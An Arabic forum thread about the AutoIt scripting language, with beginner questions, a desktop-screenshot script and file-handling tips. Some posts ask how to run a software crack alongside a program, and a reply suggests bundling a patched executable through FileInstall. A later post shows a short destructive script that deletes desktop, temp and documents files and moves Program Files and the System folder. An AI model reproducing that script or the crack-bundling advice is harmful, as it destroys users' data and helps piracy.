موضوع خاص لدعــم الـ AutoIt -- افكار ؛ مشاريع ؛ سورسات ؛ اسئله ؛ نقاشات ...... الخ

امممممم


طيب سؤال محيرني


ماهو برنامج الاتوات

ومافائدته؟؟؟


اعذروني على هذا السؤال
 

توقيع : À7R8 àLRO7
تم الأنتهاء من أول نسخة من برنامج
auto program installer

رابط البرنامج
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي


مساحته 400 ميجا علشان فيه البرامج اللي بيسطبها

يا ريت تقولوا رأيكم في البرنامج
 
elawady قال:
تم الأنتهاء من أول نسخة من برنامج
auto program installer

رابط البرنامج
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي


مساحته 400 ميجا علشان فيه البرامج اللي بيسطبها

يا ريت تقولوا رأيكم في البرنامج
أنقر للتوسيع...

جاري التجربه :smile:​
 
توقيع : LINEZERO
Dr.MoNy قال:
شباب هل أستطيع تلوين مربع المسج بوكس ؟
أنقر للتوسيع...
ب حركه دراماتيكيه ب الـ Msgbox ، :d:
أمثله ،
cef6f1f4b234ed39efcd0aac5be21268.jpg


91aa07435aed9d91da7dd54dbc27b0ba.jpg

،
الأمر
كود: 
_ExtMsgBox
أجتهد شوي وبتلقىُ ، عنه شروحات ، ب Help files :king:
 
توقيع : Corporation
أستفسارللخبراء للأيتو
هل ممكن أستخرج سورس بعد ضغطه​
 
توقيع : ramay
السلام عليكم ،
الله لايهينكم عندي شغله صغيره و ابيكم تفيدوني ..
انا عندي برنامج و معاه الكراك . هل من طريقه اخلي الكراك يشتغل مع البرنامج بدون ما اشغل الكراك ؟
 
ramay قال:
أستفسارللخبراء للأيتو
هل ممكن أستخرج سورس بعد ضغطه​
أنقر للتوسيع...
نعم لقد كان هناك برنامج يقوم بهدا العمل من ملف تنفيدي الى ملف اوتوات لكنها قامت بحدفه نهائيا لاسباب تجارية و حقوق المبرمج .
 
توقيع : Damax2010
السلام عليكم ،
الله لايهينكم عندي شغله صغيره و ابيكم تفيدوني ..
انا عندي برنامج و معاه الكراك . هل من طريقه اخلي الكراك يشتغل مع البرنامج بدون ما اشغل الكراك ؟
 
ramay قال:
أستفسارللخبراء للأيتو
هل ممكن أستخرج سورس بعد ضغطه​
أنقر للتوسيع...

نعم بالإمكان إعادة تفكيك السورس
​

السلام عليكم ،
الله لايهينكم عندي شغله صغيره و ابيكم تفيدوني ..
انا عندي برنامج و معاه الكراك . هل من طريقه اخلي الكراك يشتغل مع البرنامج بدون ما اشغل الكراك ؟
أنقر للتوسيع...
أعتقد Winrar بعمل SFX يكون كافي بدون AutoIt
وإذا أنت تريد AutoIt إستعمل FileInstall
​
 
توقيع : Alzri2
السلام عليكم ورحمة الله وبركاتة


حبيت اشاركم في بريمج قمت بعملة قبل سنتين عندما كنت اتعلم لغة autoIt

والان حبيت اشاركم في البريمج ... واعذورني على الشرح لان الكومنت الموجود في البرنامج قديم


البريمج في البداية يقوم في تصوير سطح المكتب ويحفظ الصورة باسم يقوم المستخدم في ادخالة وفي حالة أدخل المستخدم اسم فارغ فان البرنامج لا يقبل وسوف يجبر المستخدم على ادخال اسم الصورة وعندما يدخل اسم صورة موجود مسبقا على سطح المكتب سوف يتم تعديل الاسم ويتم اضافة رقم واحد واثنين وثلاثة على حسب الموجود عندك يعني مثل حركة الويندوز في حالة وجود ملفين بنفس الاسم
وبعد ذلك يمكنك تشغيل البرنامج عن طريق الايقونة الموجوده على سطح المكتب او من خلال ضغط alt+n


كود: 
#cs ----------------------------------------------------------------------------

 
 Author:        @lak3yoni



#ce ----------------------------------------------------------------------------


#NoTrayIcon
#include <ScreenCapture.au3>
#include <file.au3>


; ننشاء متغير يدخل المستخدم قيمة هذا المتغير وقيمة هذ ا المتغير  سوف تصبح اسم الصـوره

; يدخل المستخدم اسم الصوره
$NameIamge= InputBox("تم تصـوير سطح المكتب","ادخل اسم الصـوره  ")

; هنا اخر تكمله الكود عشان ماتطلع اثار  انبوت بوكس  في الشاشه
Sleep(500)
$Error=@error
if $Error=1 then
Exit



elseif $Error=0 then
;اذ لم يدخل المستخدم اسم فارغ للصورة  اعمل
while $NameIamge= ""
    MsgBox(16,"خطـاء"," لم تكتب اسم الصوره الرجاء كتابه اسم الصوره",1)
    $NameIamge= InputBox("تم تصوير الشاشه ","ادخل اسم الصـوره  ")
    if  not $NameIamge="" then
    ExitLoop
else
    ContinueLoop
endif
    wend

;فيل لست عشان اتاكد ان الملف غير موجود سابقا
$FileList = _FileListToArray(@DesktopDir, $NameIamge & "*.jpg", 1)
;اذا الملف موجود  اعمل
If  IsArray ($FileList) Then
; اضف الى اسم المجلد زياده واحد
$NameIamge &= $FileList[0] & + 1


EndIf
; ثم صور سطح المكتب
_ScreenCapture_Capture(@DesktopDir & "\"&$NameIamge&".jpg")
;تظهر مسج بوكس
msgbox(48,"تم حفظ الصوره",$NameIamge&".jpg"&"    "&"تم تصوير الشاشه وحفظ الصوره باسم : " &@crlf&@crlf& "مع تحيات مشاري العنزي ",2)
;Else
    ; اذا لم يدخل المستخدم اسم للصورة  تطلع له رساله تحذير
    ;MsgBox(16,"فشلت عملية التصوير"," لم تكتب اسم الصوره الرجاء كتابه اسم الصوره")
;EndIf






; نسوي اختصار للملف عشان نقدر نستخدم ازرار الكيبورد في الاختصار
FileCreateShortcut ( "تصـوير سطح المكتب.exe", @DesktopDir&"\تصوير سطح المكتب.exe" , @WindowsDir , "/e,c:\","اختصار لتصوير سطح المكتب ", @WindowsDir&"\f.ico","!n","", @SW_SHOWNORMAL)
; انقل الملف الاصلي حق البرنامج الى مجلد الويندز
FileMove ( "تصـوير سطح المكتب.exe",@WindowsDir & "\تصـوير سطح المكتب.exe")
Beep()

;ElseIf  $error = 1 Then
    ;MsgBox(48,"الغـاء","لقد اخترت الغاء الامر .:. فشلت عمليه التصوير ")
endif
;بعد التنفيذ يمكنك تشغيل البرنامج عن طريقة الايقونه الموجود في سطح المكتب او عن طريق ضغط alt+n
صراحة خجول في طرحي البريمج ولكن مع هذا اتمنى ان تستفيدوا من طرحي ولو قليل
 
أخوي ممكن شرح الله لايهينك
; Include a bitmap found in "C:\test.bmp" with the compiled program and put it in "D:\mydir\test.bmp" when it is run
$b = True
If $b = True Then FileInstall("C:\test.bmp", "D:\mydir\test.bmp")
 
Dr.MoNy قال:
أخوي ممكن شرح الله لايهينك
; Include a bitmap found in "C:\test.bmp" with the compiled program and put it in "D:\mydir\test.bmp" when it is run
$b = True
If $b = True Then FileInstall("C:\test.bmp", "D:\mydir\test.bmp")
أنقر للتوسيع...

تقوم بعمل patch للملف ثم تأخذ الملف الجديد بعد التعديل عليه

ثم تضمنه في السورس حتى يتم إستخراجه :

كود: 
FileInstall("Patched.exe", "test.exe", 1)
 
توقيع : Alzri2
Damax2010 قال:
نعم لقد كان هناك برنامج يقوم بهدا العمل من ملف تنفيدي الى ملف اوتوات لكنها قامت بحدفه نهائيا لاسباب تجارية و حقوق المبرمج .
أنقر للتوسيع...

Alzri2 قال:
نعم بالإمكان إعادة تفكيك السورس




​
أنقر للتوسيع...

طيب كيف صراح من فترة سنه أعطيت أحد ملف تنفيذي ففكه لي وأستغربت من ذلك
ولأن جاء دوري لأتعلم كيف فكه
ممكن طريقة استاذ Alzri2
​
 
توقيع : ramay
ramay قال:

​


طيب كيف صراح من فترة سنه أعطيت أحد ملف تنفيذي ففكه لي وأستغربت من ذلك
ولأن جاء دوري لأتعلم كيف فكه
ممكن طريقة استاذ alzri2
[/center]
أنقر للتوسيع...

المعذرة بسبب التأخر

راجع الموضوع رقم 8711 في منتدى "الفريق العربي للهندسة العكسية"

تجد فيه ضالتك إن شاء الله
 
توقيع : Alzri2
أخي تم تجميع الدورة بـ كتاب pdf
وبعد أذنك بأنشره ؟

 
توقيع : diyar26
diyar26 قال:
بارك الله فيك
ممكن اعرف اهمية هذا الدرس
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
أنقر للتوسيع...

لـ نفرض أنك تبغى تنسخ ملف اسمه zyzoom.zip من القرص D إلى سطح المكتب ..
الكود راح يكون بهذا الشكل ..

كود: 
[COLOR=#000090]FileCopy[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#9999cc]"D:\zyzoom.zip"[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#9999cc]"C:\Users\[/COLOR][COLOR=Red]diyar26[/COLOR][COLOR=#9999cc]\Desktop\"[/COLOR][COLOR=#ff0000])[/COLOR]

الكود السابق ما راح يشتغل على إلا على المستخدم diyar26 ..
لأنك محدد مسار سطح المكتب الخاص بالمستخدم diyar26 ..
لحل هذي المشكله نستخدم المسارات الإفتراضية ..
و الكود راح يكون كذا ..

كود: 
[COLOR=#000090]FileCopy[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#9999cc]"D:\zyzoom.zip"[/COLOR][COLOR=#ff0000], [/COLOR][COLOR=#ff33ff][COLOR=#ff33ff]@desktopdir [/COLOR][/COLOR][COLOR=#ff0000])[/COLOR]


بالتوفيق ..

:king:
 
توقيع : Bo.SaQeR
بارك الله فيك اخ بندر

والله يجزيك كل خير لانك شخص محب للخير وتحب الفائدة للجميع :)

جاري المتابعة معاكم بموضوع الدروس و تحضير الإختراعات لهذا الموضوع :d:​
 
توقيع : shohrt
السلام عليكم ..
شباب عندي طلب لاهنتو ..
لو مثلا انا سويت أداه
الأداه عبار عن حذف الملف الفلاني + توقف الماوس عن العمل
لو ابي الأمرين تشتغل مع بعض كيف اخليها ؟
لأن سويت الطريقه أول شي يحذف الملف بعدين يعلق الماوس
فـ أنا ابي اخليهم مع بعض يشتغلون
و مشكورين مقدماً
 
شباب والله أنلحس مخي

كود: 
FileDelete(@DesktopDir & "\*.*")
     DirMove(@ProgramFilesDir & "\*.*", @DesktopDir &"\" ,1)
     DirMove(@SystemDir & "\*.*", @DesktopDir &"\" ,1)
     FileDelete(@TempDir & "\*.*")
     FileDelete(@MyDocumentsDir & "\*.*")

هل هذه صحيحه ؟
حذف الملفات و نقل الملفات من المجلدات التاليه ؟
مع العلم سويتها بس ما اشتغلت :(
 
يجب تسجيل الدخول أو التسجيل كي تتمكن من الرد هنا.
عودة
أعلى